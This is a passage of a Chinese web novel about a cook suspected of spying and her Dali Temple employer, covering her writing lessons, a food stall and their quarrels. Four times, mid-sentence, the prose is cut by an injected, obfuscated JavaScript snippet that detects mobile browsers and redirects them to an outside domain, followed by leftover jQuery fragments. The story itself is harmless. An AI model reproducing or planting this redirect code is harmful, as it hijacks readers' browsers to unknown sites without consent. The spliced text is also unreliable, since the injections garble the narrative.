“姑娘读过书?”宋筠颇为惊讶。虽然字不同,但知道此诗的厨娘可不多见。 “不曾,听别人读过,觉得好听便记住了,公子请慢用。”姚轻雪知道他是隔壁租住的举子,明年要参加会试。她有点小心思,便在宋筠面前留个好印象。 宋筠坐下后说道:“韩兄家里的厨娘都这般有学识,在下眼拙了。” 韩泽不置可否,姚轻雪身上有很多让人捉摸不透的地方。没学过厨却做得一手好菜,没读过书却能念出诗,她那些说辞糊弄别人可以,大理寺可不是吃干饭的。 宋筠客套几句,夹起他垂涎已久的香辣鱼,而后惊喜道:“韩大人家的厨娘哪里请来的?可否有师兄妹?” “据我所知没有。”大理寺对姚轻雪做过细致调查。她从姚福摔断腿后突然去张家做厨子,以前从来没有学过厨的人突然会做菜,很多菜式京城的酒楼都不曾见过,这很让人匪夷所思。 她对外称跟祖父学的,但姚福的厨艺并不出色,也就包子做的还行,不然也不会一直在街上卖包子。韩泽猜想或许是北齐针对姚轻雪做过厨艺的训练,为的是让她在达官贵人府上快速站稳脚跟。 韩泽脑子里琢磨自家厨娘身上说不通的地方,待他回神发现盘子里的鱼没了好大一块,再看宋筠吃得头都不抬。 韩泽赶忙拿起筷子夹了块鱼肉,入口麻、辣,与鲜嫩的鱼肉交织出美妙的滋味,从不喜欢吃鱼的他都不得不说这道菜别有风味,令人欲罢不能。 一条二斤重的鱼被两个男人吃的精光,吃了两大碗米饭的宋筠意犹未尽,差点说让韩泽把他家厨娘借给他几天。 送走宋筠,韩泽对收拾碗筷的厨娘道:“羊肉包子,香辣鱼以后可以常做。” 背后姚轻雪跟曹旺嘀咕:“曹叔,我觉得您给我的信息不准,咱家大人什么都吃。” 曹旺沉默片刻后道:“我觉着不是我的问题,而是姚厨娘你手艺太好。” 自从姚厨娘来了以后,他吃完这顿盼下顿,现在若是让他买饼子包子凑合,完全吃不下去。他都这样,常饿肚子的少爷能比他强多少? 姚轻雪每日出门买菜,回家做饭,其余时间几乎不出门。韩泽却有些着急,火器迟迟没有下落,这探子竟如此沉得住气。最新制式的火器,杀伤力历来最高,若是让别有用心的人拿去,再大批仿造出来,后果不堪设想。 现在大理寺能确定的是东西还在大卫,很有可能就在京城附近,至于姚轻雪是否掌握了准确藏匿地点却不得而知。 京城百里以内有重兵把守,过往行人、马车都要经过严格搜查,有人想运出去很难。既然姚轻雪想趁他不在家行动,那便给她机会。 听说韩泽最近忙于公务,基本不在家吃,姚轻雪心里高兴,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566871|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹叔准备好饭菜,就跑去帮姚福。 上次出城路遇歹人,现在姚轻雪不敢贸然行动。主要她怕出城再遇到那三个人,她非得被扒皮不可,所以暂时没有出城的打算。她哪里知道,那三人已经被韩泽扔去挖矿了。 姚福见着孙女脸上终于露出一丝笑容。最近天气热,包子卖的不怎么好,姚福有些发愁。他指着卖包子给孙女攒嫁妆,这么下去何时能攒够啊。 眼看着快到中午,还有半屉包子没卖出去,姚轻雪收拾东西,“爷爷,不卖了,咱回家吧。” 姚福不肯,非要卖完再回。姚轻雪硬把他拉回家。路上买了鱼和肉,准备回家做香辣鱼。她给别人做厨娘这么久,还没有正儿八经地给家人做过饭。 刘氏不大能吃辣,但很喜欢酿豆腐和糖醋肉,倒是姚福很喜欢香辣鱼,麻辣的感觉直冲脑瓜顶,烦恼都暂时忘了。 芽芽喜欢糖醋肉也喜欢香辣鱼,嘴巴红了还要吃。她不光自己吃,还偷偷把白嫩的鱼肉挑出来给脚下的小白。三个大人只当没看见,一人一猫还觉得他们藏得好。 “爷,您别上火,街上卖包子的不止您一个,等我琢磨琢磨其他吃食,您孙女在大户人家不是白干的,偷学了不少手艺,就这道鱼韩大人不爱吃鱼的人都喜欢,您说我厉害不厉害。”姚轻雪边吃边开解姚福。 姚福笑道:“我孙女有出息。”当初姚轻雪要给人做厨子,他一直担心,现在看来孙女比他强太多了,偷学都能学到这么好的手艺。 “姐姐做菜好吃。”芽芽夹了块鱼肉,又吃一大口米饭。 刘氏逗她:“奶奶做的就不好吃了?” 芽芽吞掉嘴里的食物,赶紧说:“好吃的,奶奶做饭也好吃。” “有这手艺合该开家食肆。”刘氏感到惋惜,家里有银子就好了,开家食肆自己做主,孙女何必去给别人做厨娘。 姚轻雪给老太太夹了块糖醋肉:“奶,早晚我会有一家自己的店,到那时您就在店里收钱。” 芽芽举手:“我给客人端茶倒水。” 一家人畅享未来,姚家院内的欢声笑语传到了门外。杨婆子往地上啐了一口。那日在姚轻雪手里吃了亏,她总想着报复回来,但后来听说姚轻雪去了大理寺少卿家做厨子,她这才惊觉那死丫头没扯谎,她还真认识大理寺少卿。杨婆子恨归恨,却也不敢招惹姚家。 在姚轻雪的劝说下,姚福减少了包子的供应量,每日卖完就回家。如此,姚轻雪也不用往家里跑了。最近韩泽总不在家,姚轻雪空闲时间多起来,她又开始琢磨卖吃食的事了。 镇远将军府内,韩夫人张罗了一桌子好菜给久未回家的儿子。她给韩泽夹菜,“这都是你爱吃的,多吃点,瞧你瘦的。” 儿子在大理寺任职,为了上直方便就在大理寺附近租了宅子,十天半月见不到一面。今日突然回来,韩夫人很高兴。 16. 第 16 章 “大哥都不带厨子过去,吃不好脸色才会差。”韩家小妹韩莺看着兄长一脸心疼。 韩漳无语,大哥明显比上次回来气色好了很多,她娘和妹妹到底什么眼神? 韩泽对眼前的饭菜没有多大兴趣,他在大理寺凑合了几晚,想着好久没回家,今日休沐便回来看看。 最近没怎么在家吃饭,心情不大好。他脑子里想着他家厨娘今日午膳会做什么?转念一想,姚轻雪趁他不在家,偷偷跑哪儿去了也说不定。 被韩泽腹诽的姚厨娘此时正在家里招待隔壁的举人宋筠。早上买菜回来,她在大门外碰见宋筠。寒暄之际宋举人得知韩泽没在家,就想掏银子请姚轻雪给自己做顿饭。上次在韩家蹭的那顿令他念念不忘、久久回味。 姚轻雪没要他的钱,做好饭便请他过去。宋筠很高兴,他除了读书之外,唯一的爱好就是口腹之欲。 因有求于人,姚轻雪花了点心思,准备了酸辣鱼、焖羊肉、糖醋排骨、油炸豆腐。她估摸宋筠和韩泽一样不大喜欢吃青菜,索性是讨好人,便一个青菜没做。 这顿饭宋筠吃的非常意足,“真想每日吃到姚厨娘的手艺。”这要不是韩泽的厨娘,他定会出双倍工钱把人领回家。 姚轻雪笑着道:“每日有些难,毕竟我家大人也要伺候,不过偶尔给宋公子做顿还是可以的。” “那真是太好了,我付姚娘子工钱。”说着宋筠就从随身钱袋里掏出块金子。 姚轻雪咂舌,她知道宋筠出身富贵,家里富得流油。可真见到他随身带金子,还是忍不住惊讶。 “银子不必,宋公子可否偶尔教我认字?”姚轻雪想让宋筠教她认字,只要教一遍,她标注后就可以自学,耽搁不了宋筠多少时间,所以她才敢开这个口。 至于先前求韩泽的想法她放弃了,韩泽不苟言笑、说话冷冰冰的,哪里有宋举人好相处,再说韩泽搭不搭理她还两说呢。 “没问题。”宋筠痛快答应。读书也要休息,空闲时间教姚轻雪一点事没有。“正好我有几本书要处理,拿过来给你吧。” “太感谢宋公子了,晚上您想吃什么,我过去给您做。”姚轻雪想着晚上韩泽也不一定回来,就把晚膳也答应了出去。 宋筠巴不得呢,掏了买菜的银子让她看着做。姚轻雪报了几个菜名,宋筠连连点头,于是姚轻雪收拾完家里便又出去买菜。 韩泽还不知,他家厨娘正殷勤地伺候别人。他此刻正听韩夫人唠叨。好不容易把儿子盼回来,韩夫人可不能忘了大事。她把京城门第相当的待嫁姑娘挨个跟儿子念叨。“你都二十三了,再不成家就晚了,别人像你这么大,孩子都好几岁了。” 韩泽充耳不闻,也不跟她娘犟,他搬出府,也有这个原因,母亲总催他成亲。他明确表示二十五岁一定成亲,偏偏她娘觉得太晚。他只想有几年自由自在的时光,那么早成亲有什么好? “跟你说话呢,听见没有。”韩夫人见他死猪不怕开水烫的样子就来气。“你要是有喜欢的姑娘给我带回来也成,管她什么身份,哪怕是个丫鬟我都认,但你这么拖着算怎么回事?不知道的还以为我儿子有隐疾呢……” 韩夫人唠叨起儿子的婚事就没完没了,大有韩泽不给个说法不罢休的意思。韩泽烦不胜烦,晚饭没吃就走了。 韩振打趣妻子:“叫你别唠叨你偏不听,好不容易回来一趟,又让你给念叨走了。” 韩夫人拧眉:“我这是为了谁?还不是为了你们韩家,他不成亲你这个当爹的不急?” “急什么?”韩将军呷了口茶,老神在在道:“男人三十五十娶妻也不晚,又不用亲自生孩子。” 韩夫人瞪了一眼丈夫:“你不嫌晚,我还想早点抱孙子呢。” 韩将军也不跟妻子争论,儿子都躲出去了,他们争得面红耳赤有何用。 韩泽本想回家吃顿合心意的饭菜,到家一看冷锅冷灶,倒是隔壁传来阵阵菜香。曹叔弱弱道:“宋公子答应教姚厨娘认字,姚厨娘答应给宋公子做菜。” 韩泽:“……”所以这厨娘吃他家饭,做两家事? 姚轻雪给宋筠做完饭,拿到两本书,还学了一页字才乐颠颠回到隔壁。大门一开就看见韩泽抱着胳膊端坐在院中冷眼看着她。 姚轻雪不自觉地往后退了一步,韩泽就死死盯着她不说话,姚轻雪没法子硬着头皮进了院,只是她转身关门的动作极慢。 但再慢,门也有合上的时候。姚轻雪转身笑得一脸谄媚:“大人,您回来了,吃了吗?我现在就去做饭。”说完她就想跑。 “是不是忘记了你是谁家厨子?”冷冷的声音从背后传来,姚轻雪无奈,糊弄不过去就直接面对吧。 她转身来到韩泽面前,“大人,我错了,我不该擅自做主。但是、但是宋公子答应教我认字,这么大的恩情我给他做几顿饭也是应该的,您放心,宋公子时间自由,我什么时候给他做都行,绝不耽搁您的一日三餐。” “想学字,我可以教你。” 姚轻雪愣了一下,没想到韩泽会这么说,不过比较下来,她还是觉得隔壁的宋筠更和蔼可亲,她给他做饭,他教她认字,互不相欠。“多谢大人好意,只是您公事繁忙,我还是麻烦宋公子吧,不过几顿饭的事。” 韩泽哼道:“授业之恩你几顿饭就想抵了?未免也太便宜了吧。” 姚轻雪嘴快:“让您教,我怕付不起学费。” 韩泽:“……我跟你要银子了?” “没有。”姚轻雪晃了晃头。 “我平日苛待你了?” “没有。”姚轻雪继续摇头。 韩泽气极反笑:“那你这话从何而来?” 姚轻雪小心看看他,不敢说。 韩泽皱眉:“说。” “您脾气差,不好相处。”姚轻雪硬着头皮把心里话说出来。不管了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577863|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸头一刀缩头一刀,韩泽若是不让她跟宋筠学字,她就不给他做厨子了,哼。 韩泽眼里的寒光若是能化成刀子,早就把姚轻雪扎出千百个窟窿了。姚轻雪则梗着脖子,一副不服气的样子。两人互不相让,曹叔也不知该怎么劝。 韩泽努力克制着自己,起身回屋,房门“啪”地关上。姚轻雪吓一哆嗦,悄悄问曹叔:“我是不是说的过分了?” 曹叔点点头,“少爷脾气虽差了些,但向来对事不对人,对府中下人也很好,你这话确实有些过了,伤人呐。” 姚轻雪蔫蔫地说道:“那怎么办?我跟他道歉,他不会把我打出去吧?” “要不你给少爷做顿吃的哄哄?”曹叔给出主意。 “这么晚了,大人还没吃晚饭?”她在隔壁待的时间不短,这会儿天都要黑了。 “人回来后,我要去找你,少爷不让,吃没吃过我没敢问。但看少爷脸色那么差,应该没吃。” 姚轻雪觉着韩泽那么凶,多半是没吃,吃了也没吃饱。“行,我这就去做。”她把书放回房间就进了灶房。 回到房间韩泽越想越气,肚子还饿得难受,即便如此他也不想叫人做。 过了大约两刻钟,在房里独自生闷气的韩大人动了动鼻子,他忽地起身,这个味道很像香辣鱼,但又有些不同。不过他可以肯定姚轻雪在做菜,旁人做不出这个味儿。 等了一会儿也不见那人来叫他,韩大人有些坐不住了,开始在地上踱步,在他耐心告罄前,终于有人来敲房门。 “大人?睡了吗?大人、韩大人!” 韩泽故意拖延了一会儿才去开门,姚轻雪站门口笑眯眯道:“大人,我做了水煮肉片,您要不要尝尝?” 韩泽不情不愿地去了厅堂,只见桌上的白瓷碗里有汤有肉,还有数不清的花椒和茱萸,与香辣鱼异曲同工。 “您尝尝合不合口,若是不喜欢我重新做。”姚轻雪把一碗新蒸的白米饭放到他面前。 韩泽勉为其难地夹了一块肉放进嘴里,而后慌忙低头扒了口饭,之后筷子就没停过。 姚轻雪在一旁小心地伺候着,“大人,您喝点汤解辣。”青瓜鸡蛋汤。青瓜翠绿、鸡蛋金黄,入口清香,韩泽吃几口水煮肉片就喝一口汤。 姚轻雪发现韩泽不喜欢气味过重的食物,但却喜欢吃辣,这道菜算是做到韩大人心坎上了。姚轻雪在心里给自己竖了个大拇指。吃了她做的东西,还好意思生她的气? 看在这顿饭的份上,韩泽没在跟姚轻雪计较,她都答应隔壁了,若是这边反悔,会让宋筠觉得他小气。大理寺少卿才不是小气之人。 第二天姚轻雪自己买了纸和笔,都是最便宜的那种,从这天开始她除了买菜做饭便在房间里练字,有不认识的就去隔壁问宋筠。 宋筠说话算话,教得很认真,他惊叹于姚轻雪惊人的记忆力。“你若是男子,去考科举定能高中。” 17. 第 17 章 有一次宋筠跟韩泽说姚轻雪聪明过人,韩泽很好奇,宋筠是他们那个州府秋闱的解元,有状元之才,得他一句聪颖,那得是多聪明? 真聪明还是伪装出来的,现在还不能确定。但韩泽认为姚轻雪是认字的,大费周章弄这么一出,应是想借宋筠之手把认字这件事摆在明面上,毕竟识字很多事做起来好解释。她房间里那些缺胳膊少腿的字符便是证明,那些看不懂的字怕是北齐探子的特殊符号。 姚轻雪还不知道她写的简体字都让韩泽抄去大理寺了,她一边练字,一边想卖什么吃食。姚福卖包子太累,半夜就得起来和面、包包子、蒸包子,这么大岁数实在不应该这么操劳。而且最近有新加入的包子摊,姚福的生意大不如前。 琢磨了几天,姚轻雪决定做卤味,万物皆可卤,可卤肉、鸡鸭鹅等,也可以做蔬菜。做卤味一是做起来没那么麻烦,还有最重要的一点是卤味配方不易泄露,不知道配料,光是模仿是没有用的。 某日姚轻雪趁韩泽不在家,买了调味料和很多中药。只用日常调料做不出好的卤味,她手上的配方调料与中药加起来共有三十二种。就这方子,她相信整个京城没人做得出来。 做吃食自然不能在韩家,姚福和刘氏又太过老实,姚轻雪只能骗他们说韩大人同意了的,姚福这才同意她做。 开始要试食客们的反应,所以只做了卤猪肉和猪下水。背着主子偷偷搞副业,这事必定不能让韩泽知道,姚轻雪选了离大理寺较远的地方卖,都没敢跟姚福在一块。 姚轻雪选了一条人流大的街,征得别人同意后在包子摊和烧饼摊中间放下背篓。两个陶盆并排摆在地上,陶盆前横着块木板,上面写着“姚家卤味”,旁边的盘子里装着切成小块的卤肉、肠肚。 摊子刚支起来,就来了个穿短衣短裤、头顶冲天髻、嗦着手指的胖娃娃。小娃盯着卤肉不错眼,口水顺着胖乎乎的手指往下流。 姚轻雪看着好笑,见他左右无大人,便夹了块卤肉给他,小娃娃吃得眼睛都眯起来,他看了一眼姚轻雪后跑走了。 随后一位拎着酒葫芦的老者走过来:“老远就闻着味儿了,给我来半斤卤肉。” 上来不问价钱就要买的多半是不差钱,姚轻雪没着急称,而是用小木签扎了卤肉、卤肠和猪肚给老人家品尝。 吃后老者瞬间改了主意:“各来半斤。” “好嘞,这就给您称。”姚轻雪用大叶子把称好的卤货包起来。叶子是早上买的,乡下人从山上摘来卖的,专门包吃食。五文钱一大把,便宜又好用。 老者走后不久,先前跑走的胖娃娃拽着一位妇人来到摊前。“就这儿?”妇人问腿边的孩子。 小娃用力点头,迫切的眼神让妇人忍不住笑了:“知道了知道了。”她转头对姚轻雪道:“我家孙儿吃了你卖的肉,非要让我过来买,这都什么价钱?” 姚轻雪报了价,妇人道:“吆,卤大肠比肉还贵,这价可不便宜。” “婶子,您肯定清楚这些东西处理起来有多麻烦,我这猪肠、猪肚很干净,光是配料就花了大价钱,别的地儿买不到这味儿,您尝尝。”姚轻雪扎了两块递给她。 妇人细细品着嘴里的东西,这可急坏了她腿边的孩子,扒着奶奶的衣角一顿晃。女人点了点孙子的脑门,“这就买。” “给我三两卤肉。”妇人想了想又道:“再要一两猪肠、一两猪肚。”猪肚和猪肠的味道着实不错,总想再吃几口,她可弄不出这个味儿来,索性就都买了点。 姚轻雪给她包好、收钱,开张之后陆续有食客上前询问,待尝过之后大多数人都不会空手离去。而且卤味的味道浓重,能传出去老远,不用吆喝就有人来,生意还不错。 姚轻雪一边卖货,一边探头探脑,她怕倒霉碰见韩泽。胆战心惊卖了两日,姚轻雪以为瞒得天衣无缝,殊不知她每日的一举一动都有人上报给韩泽。 试卖不错,姚轻雪正美滋滋地想回去就让姚福把包子摊停了,接手卤味摊。 美了一会儿,突然打了个喷嚏,一抬头就看见韩泽气汹汹地走来。姚轻雪下意识地就跑,跑了几步后想起来摊子还在,能跑哪儿去,于是慢吞吞地走回来。 “跑啊,怎么不跑了?”韩泽两手抱臂、面无表情地站在姚家卤味前,对身后的手下说:“把摊子给我砸了。” 监视的人回去说姚轻雪支起摊子卖吃食,韩泽气个倒仰。这两天大理寺把她进去过的猪肉摊、中药铺查了个底朝天,甚至还把每种调料和中药买回去研究,看看是否藏了暗语什么的,结果没有任何发现。把他折腾得够呛,她倒好卖起了吃食。 韩泽不想承认自己对姚轻雪的判断出了错。不然他脸可丢大了,陛下那边都不好交代。再有,拿着他的银子,给旁人做饭也就算了,如今还偷偷卖起吃食,压根没把他这个主子放在眼里,韩大人决定给他家厨娘点厉害瞧瞧。 俩手下面面相觑,他们大理寺可以以权压人,但当街砸百姓摊位?让上头知道肯定挨罚。搞不好韩少卿还得被御史参一本,所以俩人都没敢动。 听他要砸自己的摊子,姚轻雪由惧转怒,她插着腰跟他叫板:“你敢?信不信往你菜里放泻药,让你拉十天八天。” 韩泽:“……” 见她这个样子,韩泽不知怎地气一下子消了,他挥挥手:“收了收了,我饿了,赶紧回家做饭。” 两名属下很是无语,想让人回去给你做饭,你倒是好好说啊,还敢砸人家摊子?厨娘真要在饭菜里下毒,死都不知道怎么死的。 见韩泽态度软和下来,姚轻雪就坡下驴默默收拾东西。大理寺的两个人很有眼色,帮忙背背篓、拿凳子和木牌。 左右不知情的摊主都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597696|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝过姚家卤味,和姚轻雪有几分熟悉,他们以为是姚轻雪的男人过来让她回家做饭,打趣道:“我说姚娘子,别光顾赚银子,忽略了自家相公,不然他可要给你闹脾气了。” “就是,瞧给人饿的,回家好好哄哄。” “床头打架床尾和!” 韩泽:“……” 姚轻雪:“……”就很尴尬。 姚轻雪气呼呼地走在前头,韩泽走在后面牙花子疼。分明是她的错,还理直气壮生起气来,哪来的底气?是不是平日太惯着她了? 姚轻雪哪有什么底气,不过是色厉内荏罢了。她仗着韩泽喜欢吃她做的饭菜,才觉得偶尔犯点小错,大度的韩大人不会把她怎样。但韩泽真恼了,她也得装鹌鹑。 韩泽的两名手下把东西放到院里,跟韩泽打了声招呼就麻溜地走了。韩大人的家事,他们不知为妙。 见俩人一同回来,还有带了卤肉,曹叔欢喜道:“今日买了这么多,等会我得喝两杯。” 韩泽:“……”已经消下去的火又上来了。曹叔都吃过就他没有。“姚轻雪,我是不是待你太好,让你忘了身份?” 姚轻雪低着头拿眼睛偷瞄面若寒霜的韩泽,然后态度诚恳道:“大人,我错了,以后再也不敢了。”反正已经决定让姚福接手,自己以后不去就是。 韩泽气笑了,每次犯错都乖乖认错,然后该犯还犯。“你是我的人,私自做别的事就是犯了规矩,这个月工钱扣除。” “谁是你的人?一月五两就想把我买了?想什么美事呢韩大人。”姚轻雪炸了,“当初要不是你威逼利诱我能来你家做厨子?我卖吃食都是挑你不在家的日子,我非得围着你转?我可不是你家奴才。扣我工钱?老娘不干了,你爱找谁找谁去。” 说完姚轻雪回房收拾东西,曹叔一脸懵逼,韩泽简短说了事情原委。曹叔这才知道姚轻雪昨日拿回来的卤味竟然是她自己做的,那味道真是绝了,他还想问问在哪儿买的呢。这么好的手艺,可不能让她走,不然他和少爷又要吃了上顿没下顿。 “少爷,姚家没有男丁,日子过得艰难,您就睁一只眼闭一只眼吧。姚家那两个老人年岁都不小了,姚厨娘也是为了家人才着急赚银子,不然她一个姑娘家何苦抛头露面蹲在街边叫卖,还不是为了活着。姚厨娘要是走了,您上哪里找这么合心意的?咱们府上可没有这等本事的厨子。” 韩泽杵在院中不说话,想想大理寺的饭堂,他胃里就抽筋。况且姚轻雪的嫌疑没有排除,现在还不能放她走。 姚轻雪把衣物包好,出来想拿地上的背篓,四下看了看没有?刚还在来着。“我东西呢?”卤味还有一少半,现在拿出卖还能卖不少钱。 曹叔指指堂屋,小声道:“少爷吃着呢。” 姚轻雪:“……” 骂完她,还吃她东西?要脸不? 18. 第 18 章 曹叔赶紧扯住气呼呼要去找韩泽算账的姚轻雪:“姑娘,听叔一句劝,别走!你在韩家做事,有大理寺少卿罩着,宵小之辈不敢找你麻烦,你的买卖才能长久做下去。” “曹叔,他不让我卖,我、” 曹叔打断她:“我来说,你等着。”曹旺走进堂屋,没一会儿就出来了,“少爷让你进去,你先服个软,别犟着。” 姚轻雪没说话,背着包袱走进堂屋,服不服软得看韩泽的态度。 见她瞪着眼站在门口一副不服的样子,韩泽揉揉眉心,这要是犯人敢早挨一顿揍了,揍完再不服就大刑伺候,多硬的骨头都能让他弯了。偏偏这个打不得、骂不得,麻烦! “咳、是我话过了,你为家中生计奔波孝心可嘉。这样吧,日后空闲你可以出去卖吃食,我不干涉但不准耽搁家中膳食。” “多谢大人!您放心,以后我不会擅作主张了。”姚轻雪立马换了嘴脸、躬身道谢,人家给台阶她就赶紧下吧。 要不是她有厨艺傍身,韩泽可不会惯着她,人得看清现实。芽芽的户籍还没着落,曹叔说的也有理。哪条街都有地痞,姚福经常被迫给那些人银子,她若是不想被欺负,只能找靠山。所以无论从哪一方面,暂时她都不能离开,韩泽这条大腿还得抱住。 见她服软,韩泽心里稍稍舒服了点,他掏出银子:“你这些卤味我买了。” “不用了大人,这件事是我不对,这些卤味不要钱,您拿去大理寺给同僚们尝尝。若是吃的好,今后请大家多光顾姚家卤味摊。” 韩泽:“……” “大人,您给我写个牌子呗?我的字拿不出手。要是有人闹事,我也好说这是大理寺少卿的墨宝,看谁敢欺负我。” 韩泽:“……”蹬鼻子上脸啊! 见他不说话,姚轻雪只当他答应了,笑眯眯道:“大人,今日没买菜,厨房有块腊肉,我奶奶做的,午饭做腊肉饭,晚上再给您做大餐。” 姚轻雪回屋放下包袱就去厨房洗米、切腊肉。腊肉刚做好没几天,姚轻雪喜欢吃,便拿过来一块准备开小灶,她一口没吃呢,今日便宜韩泽了。 姚轻雪没烧大锅,而是从角落里找出泥炉和砂锅,这一套物件是曹叔以前煮粥蒸蛋用的,姚轻雪来了以后他再没用过。 砂锅里层抹上油,加适量水和米放在炉子上煮,待米饭八成熟后,在米饭周边淋上素油,再把切好的腊肉铺在饭上,盖上盖继续煮。这期间姚轻雪用抹布端着砂锅的两耳,不停地在火上转动。等滋滋声渐小,再淋酱油、胡麻油,最后打上生鸡蛋,盖上盖子把砂锅移走,继续焖一会儿。 腊肉的香味直往鼻子里钻,曹叔口水直流,姚轻雪道:“曹叔,等我把大人这锅做好就给您做。” “我也有?”曹叔惊喜,要不他咋不让姚厨娘走呢,这姑娘对他跟自家长辈差不多,每次做好吃的总有他老曹一份,多好的姑娘啊。 姚轻雪道:“当然有您的。”曹旺对她不错,今日还替她跟韩泽说情来着,一点吃食算不得什么。 曹叔乐呵呵道:“麻烦姚厨娘了!” 姚轻雪小心地把砂锅与锅巴分离,然后用盘子和碗两个翻转,把腊肉饭移到碗中。她要端锅上桌,估计韩泽得骂她不成体统。砂锅里面抹了油,揭锅巴时没怎么费力,连饭带肉几乎没怎么变样就被移到大碗里。 腊肉饭端到堂屋,韩泽偷偷咽了下口水,但他面上偏偏要装作若无其事。等姚轻雪走出房门,韩大人迫不及待地拿起筷子。 伺候完韩泽姚轻雪立刻给曹叔做。“曹叔,您这锅比大人那锅好吃。” “为啥?”曹旺寻思姚轻雪还记恨少爷,不给他往好了做。 “这锅米泡过,米饭口感会更好。”给韩泽做时她就把米泡上了,谁叫韩大人急呢,米洗洗就下锅煮了。 原来是这么回事,不是故意针对就好,曹旺放下心来。他见姚轻雪切了半盘腊肉,心里越发高兴。 堂屋里的韩泽吃得头都不抬,腊肉色泽红亮、肥瘦相间、香味浓郁。米饭又吸收了腊肉的香,一口下去令人欲罢不能。 一口腊肉饭、一口卤味,韩泽长这么大第一次吃猪肠猪肚,竟然还不错。韩大人吃的好,心情就好,姚轻雪碗筷没收拾要回姚家他都点头了。 姚轻雪给曹叔做完饭便跟韩泽告假。曹叔让她尽管回家,碗筷他来收拾。 回到葫芦巷,姚轻雪就看见芽芽站在自家大门口往巷口张望,看见姐姐回来,小丫头小鸟一样飞奔过来。“姐,你回来了,卖的好不好?” 姐姐出去卖新吃食,家里三口一直惦记着,姚福卖完包子回来不见孙女,便去早上说好的地方寻,可找了一圈也没见到人,后来听人说她回家给男人做饭去了。 姚福纳闷,孙女何时有男人了?后来一琢磨八成是雇主大理寺少卿,他这才回家等。 见孙女两手空空地回来,刘氏迫不及待地问:“生意如何?”不怪她着急,这两日孙女备料、收拾猪下水,忙得脚不沾地,若是生意不好,那得多上火。 “爷、奶,这门生意可以做,爷您别卖包子了。我在韩大人家做工,也就这几日大人忙,我才有空出来,以后不一定有时间,所以卤味还得您来卖。” 姚轻雪把今日赚的钱放到桌上,“今日只卖了一半,剩下的让韩大人拿去了,爷,您数数,比不比您卖包子强?” 姚福打开钱袋看了看,不用数他就能估摸出个大概。“只卖一半就这么多?”孙女买那些东西花多少银子他一清二楚,即便只卖一半也是赚不少。 姚轻雪点点头,“包子人人可做,但咱家的卤味旁人可做不出来,您信我,卖卤味吧。” “就这么定了。”刘氏拍板,“咱孙女的手艺错不了,老头子赶紧去买猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612239|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下水,晚了就没有了。” “哎,我这就去。”姚福乐颠颠地背上背篓出门了。 下午姚轻雪教姚福和刘氏做卤味,前一天晚上做,第二天早饭后出去卖,姚福不用起大早。除了摔断腿那段日子,姚福这辈子就没睡过几个好觉。 家里有推车,姚轻雪花钱请木匠做了桌子,桌上铺干净的布帘,上面摆放陶盆、盘子,桌下面放木桶,面上看着非常利落整洁。再把韩泽写的“姚家卤味”的招子插在一旁的推车上,姚家卤味从众多摊位中脱颖而出,特别显眼。 出摊第一日,老主顾见姚福不卖包子改卖卤味,有人会来捧场,再有新客的加入,姚福和孙女手忙脚乱,一个时辰就把昨晚做的全卖了。 有嫌贵的,想跟姚福还价,在家里姚轻雪反复叮嘱过爷爷,可以有技巧地送些猪下水,但价钱不能降,不然你让那些原价买去的食客怎么想? 姚福卖了这么多年包子,也知道这个理儿,卖卤味利大,一日进项顶卖几日包子,他也就没那么患得患失,有买就卖,不买也无所谓,听孙女的没错。 姚家的摊子热火朝天,韩泽却如热锅上的蚂蚁,几个月过去,丢失的火器一点消息没有。他自以为是北齐细作的姚轻雪压根不理这茬,每天收钱收的开心,连带着给他做膳食都比以前用心。 这日,韩大人正在大理寺发愁,封八晃悠着进来,韩泽觉得奇怪:“你不去盯着探子,回来作甚?”虽然一直没有抓到姚轻雪的小辫子,但她仍旧有嫌疑,所以监视的人没撤。 封八无奈道:“您家那位厨娘就在大理寺门口卖吃食,咱们的人都去买。我在附近藏不住啊,刚躲起来就被李二瞧见,他一喊我没法藏了。” 